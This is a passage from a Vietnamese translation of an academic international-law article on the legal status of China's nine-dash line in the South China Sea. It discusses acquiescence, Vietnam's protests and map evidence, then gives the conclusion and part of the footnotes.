KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> 